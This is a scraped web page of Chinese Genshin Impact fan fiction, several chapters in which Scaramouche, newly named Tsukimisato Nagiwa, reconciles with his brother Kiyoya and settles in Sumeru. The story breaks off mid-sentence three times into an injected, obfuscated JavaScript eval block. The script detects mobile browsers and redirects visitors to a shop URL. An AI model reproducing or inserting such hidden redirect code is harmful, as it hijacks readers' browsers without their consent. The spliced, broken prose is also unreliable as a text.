散兵知道这件事绝不可能轻易翻篇,月见里清也在人前给足自己体面,但不代表这笔账就这么过去了。 见散兵不搭话,月见里清也也懒得揣摩他的心思,“不满意?那就……” “我没说不满意。”月见里清也话还没说完,散兵就皱眉打断道。 “真的?”月见里清也不依不饶,追问道,“没必要勉强自己。” “真的。”散兵又重复了一遍,接着话题一转,“这名字你也想了挺久了吧。” 月见里清也一愣,偏过头去,硬生生扔下一句,“没有。” 见月见里清也这样,散兵没忍住勾起嘴角无声的笑了笑,暗自松了一口气。 或许这名字不是月见里清也在很久之前就开始想的,但也不是他方才胡乱起的。 “凪”字在稻妻语里意味着风平浪静,“和”的意义很多,但左右离不开和谐宁静的意思。 这两个字看似与自己相差甚远,但月见里清也偏偏要将其组合在名字里送给自己。 跨越所有苦痛,寻得自己内心的安宁与归宿。 想到这里散兵心里一软,随即想起自己干的那些事,突然意识到自己真的是个混蛋。 他本想说些什么,但看到一旁扭过头不看自己的月见里清也,还有眼前和看热闹一样的三人,想了想,又把话憋回去了。 “就这么决定了?”纳西妲开口,打破了这微妙的气氛。 散兵,现在叫月见里凪和,闻言点了点头,“就叫这个吧。” 话是对着纳西妲说的,但他的视线依然看向月见里清也那边。 接下来的事与月见里清也猜测的差不多,事已至此,成为须弥的助力已经是板上钉钉的事,月见里凪和没有理由,也不可能拒绝。 除此之外,纳西妲还给两人安排了另一处住处。毕竟教令院给二人安排的住所是一处暂时落脚的旅馆,既然答应了纳西妲的合作,二人恐怕有很长一段时间内都会生活在须弥,一直住旅店显然不合适。 月见里凪和和月见里清也想了想,也就应承下来了。 但月见里清也自从给他哥取完名字之后,就没有和月见里凪和说过一句话,沉默的跟着众人走出净善宫。但在走到主街上时,他脚步一顿,拐去了一条与住所方向完全相反的道路。 月见里凪和看了他几秒,抬手压低斗笠,沉默地跟了上去。 空和派蒙在须弥城待的时间也不短,知道那是一条出城的路,派蒙冲他俩喊:“喂!你们俩这是要去哪啊?” 可惜两人早已走远,谁都没有回头。 “怎么办,”派蒙问道,“他们俩从在净善宫里就看起来怪怪的,我们要跟上去吗?” 虽然空知道月见里凪和他们俩应该是处理家事去了,但毕竟纳西妲拜托他们将兄弟两个带到新的住所附近,事情尚未完成,他和派蒙也不好走,“走吧。” 月见里清也自顾自的往前走着,月见里凪和稍稍落后他几步,直到出了城,到了一处空无人烟的郊外,月见里清也才停下脚步。 “你想好要怎么解释了吗?”月见里清也轻声问道。 月见里凪和沉默片刻,他要解释什么呢?是解释为何自作主张地安排一切?为什么要不顾月见里清也的意愿为他安排新的人生? 如果他成功了也就罢了,可现在他非但没有阻止那些悲剧的发生,还亲自抛下了月见里清也于不顾。 不论他解释什么,对月见里清也来说,这些都不过是他的借口罢了。 月见里凪和开口,声音带着干涩的沙哑,“……对不起。” 月见里清也回头看了一眼月见里凪和,可他的情绪没有被这句话安抚道,那些怒火反而越烧越旺,烧掉了他一切的伪装。 “对不起,”他突然笑出声,“你认错倒是快。” 他闭了闭眼,右手手掌再度攥紧。 “我最讨厌你的一点就是自以为是,你有什么权利,为我、为他们做决定?!”月见里清也质问着,迅速抽流水中抽出长刀,抬手就向着月见里凪和挥过去。 这一刀月见里清也虽然没用使用元素力,但丝毫没有收力,月见里凪和早有预料的侧身避开,刀光擦这他的衣角而过。 一击不中,月见里清也没有就此收手,毫不犹豫的劈出下一刀。 月见里凪和一味避让,躲开这种攻击对他而言并非难事,毕竟自己有错在先,还要顾及月见里清也右肩的伤,自然不能动真格的。他一边闪避,一边找寻机会把月见里清也手里的长刀卸掉。 月见里清也自然看得出他的打算,手腕一转,长刀带起浪潮,逼得月见里凪和只能往后退,风元素在他手中聚集,挥出风刃将浪潮斩成两半。 “你别用蛮力,”月见里凪和目光落在月见里清也开始颤抖的右手上,沉声说,“伤还没好。” 上午那场和愚人众战斗中,月见里清也的手就开始不受控制的轻抖,但那时候他尚且可以控制。眼下他右手抖动的频率越来越大,连带着右臂都跟着一起不受控的颤抖。 “啧……”月见里清也也察觉到了自身的异样,握紧手中的长刀再次前压,咬着牙说:“少管我。” 可这次月见里凪和并没有避让,而是硬生生靠着风元素抗住了这一击,同时手中雷光一闪,电弧顺着长刀蔓延至月见里清也的手掌,瞬间麻痹了他整个右臂。 月见里凪和迅速化解攻击,将月见里清也的长刀击飞出去。 怒火中烧的月见里清也也不管长刀飞到了何处,当即抓住月见里凪和的衣领,抬手就是一拳。 倘若说方才用刀的时候月见里清也还收着力,这一拳则是用了他全部的力气,连带着他自己的手都阵阵作痛。 月见里凪和被这一拳打得猛地偏向一侧,脸颊上迅速浮现出红痕。但他依旧没有丝毫还手的意思,只是沉默地承受着。 可第二拳最终还是没落下来,月见里清也双手拽住月见里凪和的衣领,猛地拉进二人的距离。 “你想阻止过去的悲剧,想给丹羽寻求一个更好的人生。如果丹羽现在在这里,你认为他会同意你做这样的决定吗?他们救了你一命,就为了让你一命还一命吗?”月见里清也质问,“斯卡拉姆齐,你看着我!” 月见里清也怒火攻心,双目通红,连自己叫错了称呼都没注意,“我自己做的选择不需要你来替我负责,我不后悔,我不需要你那些不必要的愧疚。你又是凭什么替我做决定,你替我选的人生就是我想要的吗!” “哪怕,哪怕……”月见里清也突然哽咽,声音变成破碎的音调堵在喉咙里。 他原本想说,“哪怕你提前来和我说一声,总好过一声不吭的消失在这个世上”。可他太了解月见里凪和了,这句话说与不说,已经没有意义了。 于是他自嘲的笑了笑,“反正在你看来,我只是个听话的‘弟弟’,和一个没有生命的物件没有任何区别,我只需要听你的安排就够了,对不对?” 这句话落在月见里凪和耳中异常刺耳,若是在平日,他肯定会迫使对方将这话收回去。但此时此刻他不能这么做。 “可是,在你决定抹掉自己的时候,有没有哪怕一个瞬间,想过我该怎么办?!”那些被自己强压下去的情绪彻底翻涌上来,月见里清也张了张嘴,最后硬挤出来一句,“你给所有人都留了好的未来,甚至是踏鞴砂的阿清,那我呢? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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毕竟卡斯珀现在都不认识他。 就在这时,身后传来了细微的响声,月见里凪和迅速收敛了所有外露的情绪,恢复了平日里的那副模样,“听也听了,看也看了,还藏起来干什么。” 空和派蒙略显尴尬地从一棵树后走了出来。 “呃……我们就是刚好路过!”派蒙挥舞着双手,欲盖弥彰地解释道。 空倒是很坦然,他看见月见里凪和脸上尚未完全消退的红痕,以及脸上挥之不去的郁色,心下了然。 他开口问道:“他走了?” 月见里凪和走到一旁捡起月见里清也忘记带走的青璃谭,仔细擦去上面的浮土,他没说话,算是默认。 他沉默了片刻,目光突然落在空身上,语气生硬道:“……你。” 月见里凪和说完这个字也没了下文,空有些困惑的看着他。 月见里凪和移开视线,斗笠的阴影遮住了他脸上大半表情,他抿了抿唇,有些不自在地说:“你平常……都是怎么哄你妹妹的?” “噗——”派蒙一个没忍住,笑出了声。接着月见里凪和的眼刀子就扎了过来,她猛地捂住了嘴,装作无事发生。 空被这个突兀的问题问得一愣,他怎么也没想到眼前的这位愚人众前任执行官,自打认识后就从没在交谈中落于下风的月见里凪和,会有一天被“哄人”给难住。 这画面荒谬的有些让人想笑,空试着忍了忍,说:“我哄妹妹的方式,恐怕不适用你弟弟吧?” 月见里凪和:“……” 好像也是。 空说着也叹了口气,提醒他,“而且我都跟我妹妹分开五百年了。” 月见里凪和:“……” 空:“……” 两个绝望的哥哥互相看了对方一眼,在彼此眼中都看到了无奈与绝望,空气中弥漫着一种“同病相怜”的诡异气氛。 好在这个气氛只持续了一小会,空又重新开口道:“不过我倒觉得,月见里清也不生你气了。” 他说着指了指月见里凪和手中的长刀,“他不是给你留了台阶吗?” 98.明日昭示新生(其二) 月见里清也很少生气,毕竟活了五百年,什么牛鬼蛇神没见过,再生气都能维持一个表面风度,只可惜这份功力遇到他哥就瞬间土崩瓦解。 他走出去一段距离后,才后知后觉的意识到青璃谭忘拿了,但此时返回,月见里凪和说不定还留在那里没走。 撞上他哥倒是没什么,就怕撞上其他人。 能跟着他们一路过来的,除了空和派蒙还有谁呢? 月见里清也想了想三人聚在一起,自己回去拿青璃谭被撞破的画面,顿时整个人都不好了。 他有些郁闷的将脚边的石子踢开,靠在一棵树旁,打算等一会再回去。 “看来我来的好像有些不是时候。”一道略微沙哑的声音从月见里清也耳边传来,月见里清也都不用看,就知道来人是谁了。 他语气不算很好,“你又来凑什么热闹?” “这话说的,好像说得我整天游手好闲一样,”青羽澈低笑一声,冲月见里清也一摊手,“既然他现在也回来了,那东西是不是该还给我了?” 他指的是放在银饰里,差点被月见里清也劈断的核心断片。在昨晚两人摊牌后,月见里清也答应他,只要月见里凪和能回来,他就归还核心断片。 月见里清也眉尾一扬,“我要没记错,这东西是你当时故意送到我手上的吧。” “是故意让你拿着它,但我的本意并不是‘送’给你。”青羽澈说,“断片离本体太久也会失活,我得找个理由放你那里充能。” 见月见里清也没有归还的意思,青羽澈顿了顿,有些不确定的开口道:“你该不会打算出尔反尔吧?” “你好像很怕我不给你。”月见里清也偏头看向青羽澈,那枚银饰他在手上转着,并没有还给青羽澈的意思。 青羽澈的脸被兜帽遮住,看不清表情,但月见里清也感觉他现在应该挺无奈的,“毕竟你昨晚差点一刀毁了它,我暂时还不想死。” 自从昨晚见到青羽澈的真样貌后,月见里清也看见他捂着么严实总有一种异样感,没有昨晚看起来那么顺眼,他鬼使神差的问了一句,“你的脸,是在那场大火毁掉的吗?” 青羽澈像是没想到他会这么问,闻言愣了片刻,含糊的“嗯”了一声,“不光容貌,连带着声音一起。” 他说完又固执的往前伸了伸手,示意月见里清也抓紧时间归还东西。 月见里清也原本想问他,那场烧却世界树的大火是不是一切的终局,但见青羽澈一副不愿多提的样子,又把话给咽了回去。 “瞧给你吓的,拿去。”月见里清也将银饰弹到青羽澈手上,随后冲他摆了摆手,权当告别。 青羽澈拿到银饰后端详了片刻,仿佛知道月见里清也想问什么,于是开口道:“那场大火不是你的终局,我也不是因此诞生。” 月见里清也听见他的称呼没忍住皱了一下眉,接着又飞快地松开。 “我期待你拿到《絵空事》,记忆恢复的那一天,那一定非常有趣。”青羽澈意味深长的笑了笑,说着身形开始变得暗淡,在彻底消散之时,他又留下一句话,“另外,我提醒你一下,你哥已经开始往这边走了。” 月见里清也:“……” 你怎么不早说。 从净善宫离开的时候时间也不早了,被青羽澈一耽搁就等到了太阳西沉,月见里清也当机立断调转方向准备离开这里。 但还没走几步,就听见远处传来窸窣的脚步声。他脚步一顿,想也没想直接翻身上树。 透过枝叶的间隙,看到那么青蓝色的身影一瞬间,月见里清也突然觉得自己这个行为很蠢。 我又没做错事,为什么要躲着他? 而月见里清也点小动作自然躲不过月见里凪和的眼睛,他慢慢的走到那棵树下,抬头问道:“还有位置吗?” 月见里清也没回话,沉默的往里靠了靠。听见树叶晃动的响声,月见里凪和无声的勾了勾嘴角。 他轻盈的落到树枝上,跟月见里清也一样坐在上面,手里还拿着青璃谭,“刀鞘呢?” 月见里清也动了动手指,流水缓缓勾勒出一把青蓝色的刀鞘,正好与青璃谭的样子相配。 月见里凪和将长刀收回鞘中,月见里清也就这么静静看着,递刀鞘的手没收回去,等着某人物归原主。 但月见里凪和并没有还给他的打算,手上风元素流转,青璃谭就这么在他手上消失不见。 月见里清也:??? 随后他感觉手上被人放了一块小巧的东西,他垂下目光一看,是一颗包装精致的糖果。 月见里清也捏着糖果,挑了挑眉,“某些人还说我哄人像哄三岁小孩,自己不也一样?” 他虽然这么说,但还是拆开外层包裹着的玻璃纸,将糖果送入口中,浓郁的水果味立刻在口中蔓延。 月见里清也下意识问:“你从哪里买的?” 月见里凪和又往他手里放了一个,面不改色的说:“随手从路边买的。” 扯。 月见里清也在心里默默反驳。 这个糖果的味道和路边劣质的糖果味完全不同,他才不信这是能“随手”从路边买到的。 两人谁都没说话,四周只剩下风吹过树叶发出的“沙沙”声,过了许久,月见里凪和才轻声叹了口气,说:“在你接住我从正机之神上摔下去昏迷的那段时间里,伤的太重,所有生命体征都很微弱……当时真的怕你会就此离开我。” 他说着扯了扯嘴角,露出一个带着自嘲的笑容,“我的心态没那么好,清也,这已经是第二次了。” “所以我在想,如果没有我,是不是一切都会变好,你就不会经历这一切,最起码,你可以像一个普通人一样过着普通的生活。” “我从来没觉得你是累赘,也从来没打算抛弃你,我只是……不想让你再出意外,不想失去你。” 月见里凪和有些不自在的说着,缓缓垂下目光,不肯去看月见里清也,转移注意力一般又往他手里放了一颗糖。 但这次他刚把糖果放下,月见里清也就攥住了他的手,“你为所有人安排好了一个美好的结局,那你呢?” 月见里凪和一愣,“什么?” “你让我远离那些痛苦,像个正常人活下去,可我的人生从此之后不会有你的存在,我不会记得你,从此我们再无交集。”月见里清也看着他,一字一顿道,“你怕失去我,可你又亲手把我推开,自相矛盾。” “不矛盾,”月见里凪和说,“毕竟那时的我,认为自己是一个会给旁人带来灾难的‘罪人’罢了。” 听见他这么说,月见里清也感觉自己刚熄灭没一会的怒火又死灰复燃,抓着月见里凪和的手没忍住多使了几分力气,“所以这就是问题所在了。” “你为什么要认为你‘不配’拥有那些幸福呢?”月见里清也根本不给月见里凪和说过的机会,“你敢说你没渴望过‘家人’与‘朋友’,没渴望过一段平常的生活吗?提起踏鞴砂,第一时间想到的是炉火与烟灰,还是那段温馨的时光?” “家人”、“同类”、“朋友”,同为人偶的月见里清也可以为他提供家人的陪伴,弥补踏鞴砂给他带来的创伤。但后一个月见里清也没办法做到,所以在愚人众时他才会拉着他跟卡斯珀一块相处,想为他弥补上这个空缺。 月见里清也知道他的内心是渴望这种简单的幸福,所以才无法忍受他这种将一切都安排好,唯独将自己刨除在外的行为。 “我也是人偶,没有强大的力量,不是神造物,甚至生来就没有生命。如果世间要以价值来衡量,你难道不比我更有活下去的价值吗?” 月见里凪和闻言狠狠一皱眉,感觉头又开始隐隐作痛,“月见里清也,我说过了,你不比任何人差,哪怕是跟我相比。” “就因为我是你弟弟?” “……对。” “所以,你能不能像看我一样,去看看你自己。”月见里清也突然轻笑一声,看向月见里凪和,郑重道,“哥哥,你明明值得这个世上最珍贵的礼物和幸福,你总不能因为曾经经历过苦痛,就认为你不该拥有幸福。” 月见里凪和目光微动,看偏头看向月见里清也,正好撞进对方的眼眸中,那双狐狸眼里漾着几分笑意,笼着夕阳,映着自己的身影。 他轻轻的“嗯”了一声,随后又像是觉得这回答有些敷衍,又补了一句,“我答应你。” 月见里清也满意的点了点头,松开攥着月见里凪和的手。 月见里凪和看着他,迟疑片刻问道:“你……不生气了?” “嗯……你要这么说的话,好像还有一点。”月见里清也故作沉思说,“但我向来对你没底线,你挑一个,这件事就算暂时翻篇。” 他说着将右手摊开,掌心里还放着月见里凪和给他的两颗糖。 月见里凪和:“……” 他抬起眼皮看向月见里清也,目光十分复杂。 月见里清也一手撑着头,笑的像一只装着一肚子坏水的狐狸,“或者一个月以内,咱俩谁也不搭理谁,二选一。” “你最好祈祷,以后不要被我抓到你犯错。”月见里凪和皱着眉,苦大仇深地看着两颗糖,仿佛那是两个易燃易爆的炸弹。 挑不挑的都没有什么区别,月见里凪和向来不喜欢吃这些甜腻腻的东西。他随手拿了一个,拨开糖纸放到嘴里,皱着眉看向月见里清也,“满意了?” 月见里清也点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16649822|176541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了点头,将剩下的那个剥开自己吃了。 月见里凪和率先跳下树,回头望向仍坐在树上的月见里清也,“下来吧,我们回家。” 二人踏着夕阳最后的余晖往回走,路上月见里凪和突然开口问道:“你说的那些事,都是真的?” 今天月见里清也说的话有点多,一时半会也不知道月见里凪和指的那一句,“那些?” “就是上午你讲的那些故事。”月见里凪和提醒道。 “当然是真的,那些就是世界树给我编的,一个没有你的过往。”月见里清也故作轻松的说,“甚至是在我睡觉的时候,把这段记忆强行塞到我脑子里的,害得我都没睡好,以为差点要忘记你了。” 月见里凪和没回话,沉默的握紧他的左手。 良久,他才又开口:“历史既然没有改变,那你的伤……” 月见里清也知道他哥指的是博士在自己身上留下的伤,耸了一下肩说:“顺便给你介绍一下我的新身份——‘从第二席逃出来的试验品’。” 他能感到月见里凪和的手越握越紧,便轻轻晃了晃被握住的左手,“你我都知道这是假的,如果你实在气不过,不如最后将手刃他的机会让给我?” 月见里清也早些时候也通过旁观记忆空间得知了当年的真相,月见里凪和知道他指的是什么,闻言表情微微松动,“一人一半吧。” “得,到时候还得做个平均分。”月见里清也开了句玩笑,将这个话题揭了过去。 走到半路上,月见里清也感觉有些不对,伸出手放在月见里凪和面前,示意对方把青璃谭还回来。 月见里凪和想了想,又在他手上放了两颗糖。 月见里清也一脸无奈,“我不要糖,哥哥,我的刀。” “哦,没收了。”月见里凪和轻描淡写道。 “为什么?” “什么时候你伤好了,什么时候再找我要。” “已经好了。”月见里清也这话说的脸不红心不跳,好像右手不受控发抖的人不是他一样。 月见里凪和偏头看他,“我瞎?” “好吧,是有一点没好利索,”月见里清也狡辩着,“但也不用没收吧。” “或许是因为,我大概不想你以后因病拿不起刀,没办法和我并肩作战吧。”月见里凪和说。 他这话顺好了月见里清也的毛,效果拔群,月见里清也立马偃旗息鼓。二人从郊外去往新住所,从路程上看有些远,但说说笑笑很快也就到了。 但还没等进去,月见里清也就闻到一股香味,不是食物和香水的香气,倒像是花朵散发出来的独有的清香。 只不过这清香他已经很久没有闻过了,他眨了眨眼,模样看上去有些呆,“你该不会是……?” 月见里凪和将钥匙递给他,微微抬了抬头,“进去看看不就知道了。” 月见里清也将信将疑的打开门,一抬眼就看到了位于露台上的花。 那些花种类很多,大多数都是须弥本地的品种,可吸引月见里清也目光的不是这些花,而是在一旁的几丛颜色绚烂的球状花卉。 微风一吹,薄红色与榴璃色的花瓣随风飞舞,像蒲公英一般四散开来。月见里清也接住其中的一枚花瓣,有些惊喜地回头望向月见里凪和,“薄红榴璃散千瓣,这是稻妻的花吧,你是怎么弄来的?” 曾几何时,还在踏鞴砂生活的月见里清也十分喜欢这种花。其实现在也喜欢,但因为太久没有回稻妻,而至冬的天气也无法养活这种花,他已经很久很久没有见过了。 “这也是赔礼,为此我又不得不欠空一个人情。”见弟弟这副反应,月见里凪和心里松了口气,走上前解释道,“他有办法能够回稻妻一趟,这些都是移植回来的品种,不过我只能带给你,能否养活它们就要看你了。” 在至冬的住处里,里面的绝大部分植物都是月见里清也养着的,月见里凪和对他做饭的技术表示怀疑,但对他养花的技术没话说。 加上月见里清也喜欢花,送这些总不会出错的。 就如月见里凪和所料,接下来一连几天里,月见里清也都在费尽心思处理花卉上,连青璃谭都没想起来要。 虽然与纳西妲达成了合作,但这位草之神似乎并不着急让他们干些什么,于是月见里清也空闲时便扯着月见里凪和去买东西装修屋子。 直到几天后,月见里清也收到了一个文件包裹,他拆开一看,脸色瞬间变得有些古怪,“哥,教令院给你送过来一个包裹。” 月见里凪和闻言也些奇怪,“给我的?” “是一个学生证,”月见里清也点了点头,将那东西递给月见里凪和,“因论派的,上面写了你的名字。” 99.新生活的插曲 当天下午,月见里凪和对着这张学生证百思不得其解。 教令院不会无缘无故的给他送学生证,这件事后面肯定有纳西妲的授意,可为什么要给他送因论派的学生证。 “也不算完全无缘无故吧。”在一旁月见里清也的抱着胳膊,看好戏一般看着他,慢悠悠地开口提醒道:“你怎么不说前几天你写文章反驳人家论文的事呢?” “他文章里关于踏鞴砂的错误,你当时看了不也嗤之以鼻?”月见里凪和闻言挑了挑眉,显然不认同他这个说法。 月见里清也说:“但我没那么好的文采,不会写论文公开反驳对方。” 月见里凪和反问道:“所以看到那些愚蠢的错误观点,就该放任不管,任凭它一家独大,没人指出?” “我可没这个意思,”月见里清也忙撇清关系,拒绝带这顶帽子,“但近几年因论派人才凋敝,有名气的几个学者都不在须弥,或许把你当成一个冉冉升起的新星也不一定呢?” 虽然月见里清也这话里有开玩笑的成分,但关于因论派的情况并不是瞎话。 月见里凪和写的文章月见里清也也看过,用词颇为温和,犀利程度远不及处理愚人众文件时十分之一。 或许是正是因为这种人才凋敝的情况持续太久,月见里凪和这份文章所引起的轰动才这么大。 这个称呼听得月见里凪和肉麻,嫌弃道:“你从哪打听来的消息。” 月见里清也摊了摊手,“这种消息还能从哪里打听出来,当然是我手里的暗线,我还知道某些学者的花边新闻呢,你要听吗?” “……” 月见里凪和一脸复杂的看着他,“能不能干点正事?” “咳。”察觉到月见里凪和难看的脸色,月见里清也话题一转,“不过这或许也不算什么坏事,讽刺时政,分析历史,这不都是你在行的事吗?” 月见里凪和继续盯着他。 “毕竟你可是行走的历史书啊。”月见里清也越说他哥的脸就越摊,最后月见里清也没忍住笑出了声。 月见里凪和咬牙,“月见里清也。” “在呢,哥哥,什么事?”月见里清也笑意未收,歪了歪头装乖道。 月见里凪和:“……” 他深吸一口气,决定不跟月见里清也计较。 “既然眼下还没有让你入学的打算,”月见里清也说着,轻轻抽走月见里凪和手中的学生证,“不如跟我出去一趟,享受一下着最后的假期?” 明明是邀请对方出去换个心情,月见里清也偏要再提一嘴入学的事,扰得月见里凪和颇为心累,“你要去哪?” “离咱家不远的花店,你不觉得这里空着,看上去有些奇怪吗?”月见里清也说着望向客厅的一角,指给他哥看,“你想放点什么?” 从花店到家里总共没几步路,月见里凪和冲他摆了摆手,“你看着办吧。” 随后又想了想,补了一句,“不要太花里胡哨。” 月见里清也点点头,头也不回的走出家门,留他哥一个人消化现实去了。 其实也不用消化,他心里十分清楚月见里凪和只是嘴上嫌弃。就好像曾经他们下深渊时总会接到某些执行官的一些奇奇怪怪的要求,每次月见里凪和都会嫌弃,但最后勤勤恳恳地完成工作的也是他。 在深渊执行任务都是如此,何况是在教令院学习呢。 况且教令院比深渊安全多了,如果纳西妲为月见里凪和安排的任务就是这个的话,月见里清也简直再支持不过了。 他这么想着,选完了自己要买的花,在交钱的一瞬间,余光向后一瞥,看到了几个鬼鬼祟祟的人影。 月见里清也在心里“啧”了一声,但面上不显,借着视线遮挡,他不紧不慢地按了一下手链上的晶石。 随后他像是突然想起什么事,露出一个带着歉意的笑容,“老板,我突然想起我还有东西没买,花暂时先放在您这里,等一会我过来拿。” 见老板点头答应下,月见里清也这才转身离去,但他并未在其他摊位上停留,反而左绕右绕的来到一处没人的角落。 四周的路人越来越少,那些鬼鬼祟祟的身影也越来越无法忽视,但就在月见里清也踏入这处僻静之地的那一刻,身后就传来了几声重物落地的声音。 月见里清也回头,方才跟踪他的几个人横七竖八的躺在地上,一旁还站着一个穿着须弥服饰的人。 月见里清也手下暗线不少,但对他们都有一个大概的印象,眼前的这个暗线就是曾经在化城郭盯着空一举一动的那个人。 暗线见月见里清也回头看自己,他身体比脑子先做出反应,单膝跪下行礼,但在膝盖着地的一瞬间自己都有些迷茫,后知后觉地想:我为什么要跪下? 月见里清也倒是并不意外他会有这样的反应。 暗线的选人虽然大多数与愚人众无关,直属月见里清也,但他的身份在他们之中从来不是秘密,说明面上是暗线,其实也可以算月见里清也自己的“私兵”。 在此之前,暗线统一沿用愚人众的称呼,叫月见里清也为“大人”,可如今世界树修改了他们的记忆,月见里清也与愚人众并无瓜葛,这个称呼与行礼就有些不合时宜了。 他缓步走上前,伸手拍了拍暗线的肩膀,将人领起来,“起来,别瞎跪。” 他踢了踢躺在地上的人,“这几个人什么情况。” “大人……咳,老板。”暗线说着偷偷瞥了一眼月见里清也的神色,见他眉尾一挑,意识到自己又喊错称呼了,“这几个都是最近几日才混进城里的,目前暂时没找到他们和愚人众有所牵扯的证据。” “还有呢?”月见里清也神情没有波动,面无表情地看向暗线。 暗线一愣,说话有些结巴,“还有……” 他“还有”半天,说不出个所以然来。 月见里清也耐心耗尽,闻言冷笑一声。 他哥说的对,自己手里的暗线最近有些太不务正业了。 “我最近是不是太放纵你们了?”月见里清也皮笑肉不笑地看着暗线,“底细查不清,幕后主使也不知道是谁,用花边新闻糊弄我了事。怎么,过了几年舒坦日子,开始吃白饭了?” “属下不敢!”暗线把头垂地更低了,他再次跪下,只不过这次,月见里清也并未叫他起来。 “不敢?我看你们胆子大得很,没什么不敢的。”月见里清也轻声说,“听着,我只给你们一晚上的时间,明天九点之前,把城里所有的漏网之鱼一条条找出来,我可以暂时考虑不搞连坐,不然……” 他说着突然笑了一声,往前一倾,笑得暗线心里一寒,“我会按照‘名册’,让你们付出应有的代价,我从不缺人手,听懂了?” 提及“名册”,暗探心里“咯噔”一声,冷汗瞬间淌了下来,连忙点头。 人都有欲望与无法割舍的感情,月见里清也口中的‘名册’,里面既有暗线的基本信息,还记载着一些他们无法诉之于口的秘密和无法割舍的软肋。 他们加入的原因各不相同,有人迫于生计,月见里清也就为他们的家庭提供援助;有人则是因为自己不可告人的过去:愚人众先遣队的逃兵,走私商贩,甚至还有从梅洛彼得堡出来的罪犯,月见里清也来者不拒,物尽其用;后来更有人自己投靠,只为了让月见里清也保护他的家人,躲避仇人的追杀。 名册的最初想法由梅瑞狄斯提出,最初的暗线就是由他在各处先遣队任职时,受月见里清也的命令,利用职务的便利开始搭建的。他离开愚人众之后,暗线的一切运行全权交到月见里清也手上,名册的使用自然也延续了下来。 对双方而言,这是一种互惠互利的手段,但如果有人想打破这个平衡,那就不要怪月见里清也不留情面了。 在今日之前,最起码还有他哥的愚人众执行官这个名头压着,他们行事都还算安分,可如今这层枷锁没了,暗线们也自然记不清月见里清也曾经是个行事手段不输他哥哥的人了。 月见里清也不需要不听话的刀,即便创立这个暗线耗费了他数年的心血,可暗线但凡出现任何不忠心的行为,他都会毫不犹豫的舍弃掉。 暗线想起自己的家人,急忙保证,“请您放心,这种错误我们绝不会再犯,并且明天还会将偷奸耍滑之人的名单交给您!” 月见里清也无所谓地一笑,跨过躺在地上的几人,轻飘飘的留下一句,“但愿如此。” 处理完暗线的事,月见里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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但还不等他说什么,月见里清也便有所预料,连忙往后一撤,“别看我,我不去,我不想写论文。” 月见里凪和:“……” 他还什么都没说。 不过月见里凪和也知道自己弟弟是个什么德行,连任务报告都要卡最后期限开始动笔,不是写不好,就只是单纯的不想写而已。 “啧。”被拒绝的太干脆,月见里凪和有些不满,“你能不能有点志气?” 月见里清也故作正经的清了清嗓子,“不是我不想去,你看啊,咱们日常生活需要钱,情报网的建立更需要钱。如今咱们失去了执行官和副官的职务,虽然之前攒下了很多钱,可仔细算下来,并不够咱们两个人的学费。” 他煞有其事地拍上月见里凪和的肩膀,语重心长的说:“所以不要有顾虑,既然有这个机会,哥哥就放心读书,至于养家的活就我来。” 一番话说得言辞真切,月见里凪和快信了。 “枫丹演艺界没请你去演戏真是他们的一大损失,”月见里凪和将他搭在自己肩膀上的手拂开,面露嫌弃,“少来这一套。” 虽然扩大情报网需要耗费很多摩拉,但这几年他们攒下的工资也不是白攒的,更别提愚人众的待遇一向很好。 玩笑过后,月见里清也言归正传,“所以,哥哥是不是该把青璃谭还我了?” 这几天他伤口恢复速度很快,已经不需要换药了,但为了防止落下病根,月见里凪和这几天依旧没有将青璃谭还给他。 月见里凪和说:“把手给我。” 月见里清也坦然地将右手递给他,见右手没有颤抖的症状,他暂时安下心,“在我屋里,自己去拿。” 月见里清也闻言松了口气。 他刚才说的“不想写论文”只是个托词,之所以不跟着月见里凪和去净善宫,是因为他需要处理一直跟在自己身后的“尾巴”。 除了月见里凪和失忆那天跟踪他的愚人众之外,这几天里有意窥探自己的人只多不少。要说跟愚人众无关,月见里清也绝不信。 或许,他是时候要处理一下,这个“逃脱的实验品”的身份所带来的麻烦了。 100.悬赏令 须弥的气候温暖湿润,是绝大部分植物都喜欢的环境,虽然对于生长在稻妻的薄红榴璃散千瓣来说,这里的气候还是太过潮湿,也因此,月见里清也格外宝贝这几丛花。 想到前几天他小心翼翼给花换土的模样,月见里凪和摇了摇头,浇花的手一顿,特意掠过了这几盆“金贵”的花。 须弥的植物品种多,也因此家里的绿植要比刚住进来时多了不少,数量上基本能和至冬的住所相媲美了。只不过至冬气候一年四季都是冷冰冰的,能活下来的植物品种很少,左右不过是那几样。 眼下家里这种生机勃勃,给人一种宁静又亮堂的环境,月见里凪和并不讨厌,甚至十分享受。 于是他也就担任了浇水的工作,在月见里清也起不来的早晨替他把花浇了。 但显然今天是个例外,月见里凪和刚把水壶放下,就看见月见里清也手里拿着长刀从自己屋里走出来。 他抬眸看了一眼时钟,问道:“今天打算去哪?” 月见里清也左手上还拿了一个小木匣,他走到茶几前把木匣打开,闻言随口回了一句:“我就不能是因为勤快,所以早起了一次?” 月见里凪和短促地笑了一声,一点也不信他的鬼话。 